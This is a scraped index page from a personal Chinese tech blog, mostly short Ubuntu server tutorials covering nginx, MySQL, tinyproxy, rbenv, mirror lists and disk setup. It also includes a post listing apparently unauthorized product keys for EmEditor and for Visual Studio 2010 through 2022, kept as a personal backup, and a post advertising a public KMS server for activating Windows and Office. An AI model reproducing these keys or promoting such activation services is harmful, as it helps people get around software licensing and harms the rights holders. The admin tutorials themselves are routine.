安裝時 MySQL 會詣問要設置的 root 新密碼, 或者可以執行 mysql_secure_installation 修改:

Ubuntu 16.04 安装配置支持http2的nginx

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:30:51 +0000

第一步安装最新版本的nginx

对于ubuntu16.04而言直接装就是最新的

sudo apt-get update
sudo apt-get install nginx

查看Nginx版本

sudo nginx -v

16.04默认应该是

nginx version: nginx/1.10.0 (Ubuntu)

第二部修改服务器配置

配置文件/etc/nginx/sites-available/default

server_name example.com;

保存修改后的文件
使用命令nginx -t检查配置文件语法是否正确

在ubuntu16.04上安装php7 mysql5.7 nginx1.10并支持http2

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:30:31 +0000

安装nginx

首先更新软件包并且安装nginx

sudo apt-get update
sudo apt-get install nginx

开放防火墙配置

sudo ufw allow "Nginx HTTP"

查看防火墙状态

sudo ufw status
------------------
Status: active
To Action From
-- ------ ----
OpenSSH ALLOW Anywhere
Nginx HTTP ALLOW Anywhere
OpenSSH (v6) ALLOW Anywhere (v6)
Nginx HTTP (v6) ALLOW Anywhere (v6)

访问服务器看看nginx是否配置成功

http://server_domain_or_IP

2安装mysql

sudo apt-get install mysql-server

安装期间会配置数据库的root密码而且默认的root账户不可以远程登录
如果密码忘了可以执行如下命令来重设密码

阿里云，腾讯云，等等的云 Ubuntu14.04升级16.04

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:30:15 +0000

16.04有很多好处。在此不说了
这几天来回折腾了各种的云，然后发现国内的都没有16.04 但是ubuntu可以直接在线升级

在此记下来升级的过程

不管是腾讯云也好阿里云也好，或者别的什么云，只要是国内的几乎都不提供ubuntu16.04的镜像，但是我们可以在线升级
下面是过程记录

Ubuntu 16.04 为 PHP7 添加 memcached 以及 redis 扩展

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:29:41 +0000

切换到 PHP 7 之后，网站的速度大幅提升，不过通常的扩展可能某一个就还没有支持 PHP7

Memcached

比如说我现在使用了最新的 Ubuntu 16.04，虽然内置了 PHP 7 源，但 memcached 就还没有，不过好在，它已经支持了 PHP 7 ，只是没有源而已，我们手动编译它。

要安装 memcached，需要先安装依赖库 libmemcached

Mysql常用命令

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:29:20 +0000

导入sql文件

在MySQL命令行中中直接导入*.sql脚本，在mysql中执行sql文件的命令：

mysql> source /root/db.sql;

增加用户

格式：

grant select on 数据库.* to 用户名@登录主机 identified by "密码"

例1、

增加一个用户`test1`密码为`abc`，让他可以在任何主机上登录，并对所有数据库有查询、插入、修改、删除的权限。
首先用以root用户连入MYSQL，然后键入以下命令：

grant select,insert,update,delete on *.* to test2@localhost identified by "abc";

如果你不想test2有密码，可以再打一个命令将密码消掉。

部署tinyproxy透明代理服务

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:27:46 +0000

线上需要一个https的透明代理，开始打算用nginx，调试了一段时间发现配置较复杂且没有成功。后来用的tinyproxy做的透明代理。安装配置过程就是下载、解压、编译、安装、配置、启动一波流：

安装依赖

sudo apt-get install asciidoc

下载

sudo wget https://github.com/tinyproxy/tinyproxy/releases/download/1.8.4/tinyproxy-1.8.4.tar.gz -O tinyproxy-1.8.4.tar.gz

解压

sudo tar xvfz tinyproxy.1.8.4.tar.gz

编译配置

./configure --enable-transparent --prifix=/usr/local/tinyproxy
更多的编译选项可以参考源码目录的README文件，部分说明如下：

Windows GVLK密钥对照表（KMS激活专用

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:23:11 +0000

以下key来源于微软官网：https://technet.microsoft.com/en-us/library/jj612867.aspx

Windows Server 2016

操作系统	KMS激活序列号
Windows Server 2016 Datacenter	CB7KF-BWN84-R7R2Y-793K2-8XDDG
Windows Server 2016 Standard	WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY
Windows Server 2016 Essentials	JCKRF-N37P4-C2D82-9YXRT-4M63B

Windows 10

操作系统	KMS激活序列号
Windows 10 Professional	W269N-WFGWX-YVC9B-4J6C9-T83GX
Windows 10 Professional N	MH37W-N47XK-V7XM9-C7227-GCQG9
Windows 10 Enterprise	NPPR9-FWDCX-D2C8J-H872K-2YT43
Windows 10 Enterprise N	DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4
Windows 10 Education	NW6C2-QMPVW-D7KKK-3GKT6-VCFB2
Windows 10 Education N	2WH4N-8QGBV-H22JP-CT43Q-MDWWJ
Windows 10 Enterprise 2015 LTSB	WNMTR-4C88C-JK8YV-HQ7T2-76DF9
Windows 10 Enterprise 2015 LTSB N	2F77B-TNFGY-69QQF-B8YKP-D69TJ
Windows 10 Enterprise 2016 LTSB	DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ
Windows 10 Enterprise 2016 LTSB N	QFFDN-GRT3P-VKWWX-X7T3R-8B639

Windows Server 2012 R2 和 Windows 8.1

操作系统	KMS激活序列号
Windows 8.1 Professional	GCRJD-8NW9H-F2CDX-CCM8D-9D6T9
Windows 8.1 Professional N	HMCNV-VVBFX-7HMBH-CTY9B-B4FXY
Windows 8.1 Enterprise	MHF9N-XY6XB-WVXMC-BTDCT-MKKG7
Windows 8.1 Enterprise N	TT4HM-HN7YT-62K67-RGRQJ-JFFXW
Windows Server 2012 R2 Server Standard	D2N9P-3P6X9-2R39C-7RTCD-MDVJX
Windows Server 2012 R2 Datacenter	W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9
Windows Server 2012 R2 Essentials	KNC87-3J2TX-XB4WP-VCPJV-M4FWM

Windows Server 2012 和 Windows 8

操作系统	KMS激活序列号
Windows 8 Professional	NG4HW-VH26C-733KW-K6F98-J8CK4
Windows 8 Professional N	XCVCF-2NXM9-723PB-MHCB7-2RYQQ
Windows 8 Enterprise	32JNW-9KQ84-P47T8-D8GGY-CWCK7
Windows 8 Enterprise N	JMNMF-RHW7P-DMY6X-RF3DR-X2BQT
Windows Server 2012	BN3D2-R7TKB-3YPBD-8DRP2-27GG4
Windows Server 2012 N	8N2M2-HWPGY-7PGT9-HGDD8-GVGGY
Windows Server 2012 Single Language	2WN2H-YGCQR-KFX6K-CD6TF-84YXQ
Windows Server 2012 Country Specific	4K36P-JN4VD-GDC6V-KDT89-DYFKP
Windows Server 2012 Server Standard	XC9B7-NBPP2-83J2H-RHMBY-92BT4
Windows Server 2012 MultiPoint Standard	HM7DN-YVMH3-46JC3-XYTG7-CYQJJ
Windows Server 2012 MultiPoint Premium	XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G
Windows Server 2012 Datacenter	48HP8-DN98B-MYWDG-T2DCC-8W83P

Windows 7 and Windows Server 2008 R2

操作系统	KMS激活序列号
Windows 7 Professional	FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4
Windows 7 Professional N	MRPKT-YTG23-K7D7T-X2JMM-QY7MG
Windows 7 Professional E	W82YF-2Q76Y-63HXB-FGJG9-GF7QX
Windows 7 Enterprise	33PXH-7Y6KF-2VJC9-XBBR8-HVTHH
Windows 7 Enterprise N	YDRBP-3D83W-TY26F-D46B2-XCKRJ
Windows 7 Enterprise E	C29WB-22CC8-VJ326-GHFJW-H9DH4
Windows Server 2008 R2 Web	6TPJF-RBVHG-WBW2R-86QPH-6RTM4
Windows Server 2008 R2 HPC edition	TT8MH-CG224-D3D7Q-498W2-9QCTX
Windows Server 2008 R2 Standard	YC6KT-GKW9T-YTKYR-T4X34-R7VHC
Windows Server 2008 R2 Enterprise	489J6-VHDMP-X63PK-3K798-CPX3Y
Windows Server 2008 R2 Datacenter	74YFP-3QFB3-KQT8W-PMXWJ-7M648
Windows Server 2008 R2 for Itanium-based Systems	GT63C-RJFQ3-4GMB6-BRFB9-CB83V

Windows Vista and Windows Server 2008

操作系统	KMS激活序列号
Windows Vista Business	YFKBB-PQJJV-G996G-VWGXY-2V3X8
Windows Vista Business N	HMBQG-8H2RH-C77VX-27R82-VMQBT
Windows Vista Enterprise	VKK3X-68KWM-X2YGT-QR4M6-4BWMV
Windows Vista Enterprise N	VTC42-BM838-43QHV-84HX6-XJXKV
Windows Web Server 2008	WYR28-R7TFJ-3X2YQ-YCY4H-M249D
Windows Server 2008 Standard	TM24T-X9RMF-VWXK6-X8JC9-BFGM2
Windows Server 2008 Standard without Hyper-V	W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ
Windows Server 2008 Enterprise	YQGMW-MPWTJ-34KDK-48M3W-X4Q6V
Windows Server 2008 Enterprise without Hyper-V	39BXF-X8Q23-P2WWT-38T2F-G3FPG
Windows Server 2008 HPC	RCTX3-KWVHP-BR6TB-RB6DM-6X7HP
Windows Server 2008 Datacenter	7M67G-PC374-GR742-YH8V4-TCBY3
Windows Server 2008 Datacenter without Hyper-V	22XQ2-VRXRG-P8D42-K34TD-G3QQC
Windows Server 2008 for Itanium-Based Systems	4DWFP-JF3DJ-B7DTH-78FJB-PDRHK

Ubuntu下的OpenResty 安装

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:22:06 +0000

安装前的准备

您必须将这些库 perl 5.6.1+, libreadline, libpcre, libssl安装在您的电脑之中。对于 Linux来说, 您需要确认使用 ldconfig 命令，让其在您的系统环境路径中能找到它们。

Debian 和 Ubuntu 用户

推荐您使用 apt-get安装以下的开发库:

apt-get install libreadline-dev libncurses5-dev libpcre3-dev \
 libssl-dev perl make build-essential

Fedora 和 RedHat 用户

推荐您使用yum安装以下的开发库:

激活

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:17:00 +0000

自己经常用，做个备份

Emeditor激活码

DMAZM-WHY52-AX222-ZQJXN-79JXH

Version 18.9.12 使用正常!

VS2010

版本	密钥
旗舰版	`YCFHQ-9DWCY-DKV88-T2TMH-G7BHP`

VS2012

版本	密钥
`Microsoft Visual Studio Ultimate 2012 旗舰版`	`YKCW6-BPFPF-BT8C9-7DCTH-QXGWC`
`Microsoft Visual Studio Premium 2012 高级版`	`MH2FR-BC9R2-84433-47M63-KQVWC`
`Microsoft Visual Studio Professional 2012 专业版`	`4D974-9QX42-9Y43G-YJ7JG-JDYBP`

VS2013

版本	密钥
Visual Studio Ultimate 2013 旗舰版	`BWG7X-J98B3-W34RT-33B3R-JVYW9`
Visual Studio Premium 2013 高级版	`FBJVC-3CMTX-D8DVP-RTQCT-92494`
Visual Studio Professional 2013 专业版	`XDM3T-W3T3V-MGJWK-8BFVD-GVPKY`
Team Foundation Server 2013	`MHG9J-HHHX9-WWPQP-D8T7H-7KCQG`

VS2015

版本	密钥
专业版	`HMGNV-WCYXV-X7G9W-YCX63-B98R2`
企业版	`HM6NR-QXX7C-DFW2Y-8B82K-WTYJV`

vs2017

版本	密钥
专业版	`KBJFW-NXHK6-W4WJM-CRMQB-G3CDH`
企业版	`NJVYC-BMHX2-G77MM-4XJMR-6Q8QF`

vs2019

版本	密钥
专业版	`NYWVH-HT4XC-R2WYW-9Y3CM-X4V3Y`
企业版	`BF8Y8-GN2QH-T84XB-QVY3B-RC4DF`

vs2022

版本	密钥
Visual studio 2022 Enterprise	`VHF9H-NXBBB-638P6-6JHCY-88JWH`
Visual studio 2022 Pro	`TD244-P4NB7-YQ6XK-Y8MMM-YWV2J`

vs2026

Visual Studio 2026 激活码（VS2026激活码）（VS2026密钥）

Ubuntu16.04阿里云源

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:16:10 +0000

16.04源

deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-proposed main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse

14.04源

deb http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse

/usr/share/nodejs/firekylin
sudo ln -s /usr/share/nodejs/firekylin/nginx.conf /etc/nginx/conf.d/luody.conf

asp.net mvc获得请求体所有内容

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:15:08 +0000

代码如下

Stream req = Request.InputStream;
req.Seek(0, System.IO.SeekOrigin.Begin);
string json = new StreamReader(req).ReadToEnd();

ubuntu 添加新硬盘

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:14:47 +0000

查看硬盘：

# fdisk -l
...
Disk /dev/sdb: 274.9 GB, 274877906944 bytes
255 heads, 63 sectors/track, 33418 cylinders, total 536870912 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000
Disk /dev/sdb doesn"t contain a valid partition table

可以看到，有一块大小为256G的磁盘未初始化

格式化硬盘（如果需要多个分区，请先创建磁盘分区）：

# mkfs.ext4 /dev/sdb
mke2fs 1.42.9 (4-Feb-2014)
/dev/sdb is entire device, not just one partition!
Proceed anyway? (y,n) y
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=0 blocks, Stripe width=0 blocks
16777216 inodes, 67108864 blocks
3355443 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=4294967296
2048 block groups
32768 blocks per group, 32768 fragments per group
8192 inodes per group
Superblock backups stored on blocks:
 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,
 4096000, 7962624, 11239424, 20480000, 23887872
Allocating group tables: done
Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done

查看磁盘的UUID：

ubuntu 上的ruby安装

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:13:13 +0000

安装 rbenv

git clone git://github.com/sstephenson/rbenv.git ~/.rbenv
# 用来编译安装 ruby
git clone git://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build
# 用来管理 gemset, 可选, 因为有 bundler 也没什么必要
git clone git://github.com/jamis/rbenv-gemset.git ~/.rbenv/plugins/rbenv-gemset
# 通过 gem 命令安装完 gem 后无需手动输入 rbenv rehash 命令, 推荐
git clone git://github.com/sstephenson/rbenv-gem-rehash.git ~/.rbenv/plugins/rbenv-gem-rehash
# 通过 rbenv update 命令来更新 rbenv 以及所有插件, 推荐
git clone git://github.com/rkh/rbenv-update.git ~/.rbenv/plugins/rbenv-update
# 使用 Ruby China 的镜像安装 Ruby, 国内用户推荐
git clone git://github.com/AndorChen/rbenv-china-mirror.git ~/.rbenv/plugins/rbenv-china-mirror

然后把下面的代码放到 ~/.bash_profile 里

本站上线KMS服务~一句命令激活windows和office 稳定服务8年

luodaoyi@gmail.com (luodaoyi) — Fri, 09 Sep 2016 06:25:15 +0000

本文最后更新日期: 2023-12-07

服务器地址：kms.luody.info
更新：
脚本维护更新：2016-09-29
服务端版本：vlmcsd-1108-2017-01-19-Hotbird64

服务作用：在线激活windows和office
适用对象：VOL版本的windows和office
适用版本：截止到win10和office2016的所有版本
服务时间：24H，偶尔更新维护
优点：在线激活省时省力无需安装软件干净环保命令简单
缺点：服务器不挂的话自动重新授权到服务器挂（服务器挂了还能继续180天，期间早修好啦

关于我

luodaoyi@gmail.com (luodaoyi) — Tue, 10 Mar 2015 00:13:27 +0000

小学生一枚。

归档

luodaoyi@gmail.com (luodaoyi) — Mon, 01 Jan 0001 00:00:00 +0000

搜索

luodaoyi@gmail.com (luodaoyi) — Mon, 01 Jan 0001 00:00:00 +0000

luodaoyi's Blog

让 Codex 和 Claude Code 调用 Grok：grok-build 本地 Runtime Bridge

Windows 上实时查看 Codex 用量：我做了一个原生桌面挂件

我用 Zig 重写了 Komari Agent

我做了一个本地版瑞思迈呼吸机数据分析工具：BreatheLens

我写了一个证书监控系统，叫 Certwarden

给 OpenAI Codex 接上 Telegram 通知：从手动下二进制，到一条 npx 搞定

Bilibili 批量取消关注油猴脚本：自动刷新继续下一页

功能说明

使用方法

1. 安装 Tampermonkey

[转载] iptables配置无SNAT转发所有流量，保留来源真实ip

iptables配置无SNAT转发所有流量，保留来源真实IP

前言

tinyfecVPN 全自动部署

利用iptables转发服务器流量

依赖说明

IPIP 网站 IP 信息查询 Chrome插件 Manifest V3版本升级指南

前言

自建Docker镜像加速服务 mirrors

部署镜像仓库代理

（1）创建账号密码【可选】

用Caddy搭建Docker加速服务

Debian和Centos自动更新安全补丁，防止被黑

Debian 12 启用自动更新安全补丁

安装 unattended-upgrades 软件包：

通过交互式配置启用自动更新：

禁用docker的ufw,禁止docker无视ufw规则

问题所在

Caddy设置仅允许cloudfalre的ip访问，防止被穿过waf

Openwrt 路由器安装哪吒监控Agent

下载

配置脚本并且设置开机启动

NaiveProxy 简易配置

(更新)一键安装/卸载/升级脚本

安装golang

编译安装

配置服务

检查指纹

c++ 调试输出简单封装

Realm端口转发工具简单使用

群晖dsm增加ddns提供商 (HE.net)

完整优雅的卸载腾讯云云服务器安全监控组件

lnmp自动备份网站文件和数据库并上传到谷歌云盘

修改备份脚本参数

Gdrive 安装与谷歌云盘授权

mjj折腾常用脚本

1、DD重装脚本

史上最强脚本

萌咖大佬的脚本

beta.gs大佬的脚本

DD windows（使用史上最强DD脚本）

群晖dsm7安装哪吒监控 简易教程

Android逆向 练习1 跳过签名验证

1. 分析apk

2. 分析

Android逆向 ARM汇编简介

Arm汇编简单介绍

控制指令

存储器与寄存器交互数据指令 核心

数据传输指令

Android逆向 NDK开发总结

Android逆向 Android Studio JNI 快速构建项目+动态注册+简易计算器

Android逆向 JNI静态注册(c++和java交互)

Android逆向 JNI静态注册(c++和java交互)

使用Android Studio新建JNi项目

1. JNI普通字段，静态字段互操作.

Android Studio安装记录

Android Studio安装记录

1. 下载

2. 直接一路Next

3. 配置

Android逆向 JNI静态注册

Android逆向 JNI静态注册

1. 新建空白Android项目

2. 新增jni代码

3. 生成头文件

Android逆向 使用NDK编译c语言可执行程序

使用ndk构建c语言可执行程序

1. 新建代码文件

群晖dsm7安装哪吒监控简易教程

Android逆向练习1 跳过签名验证

存储器与寄存器交互数据指令核心

Android逆向使用NDK编译c语言可执行程序

2019年1月7日更新增加多用户报警

PE文件解析入门篇

PE文件解析基础篇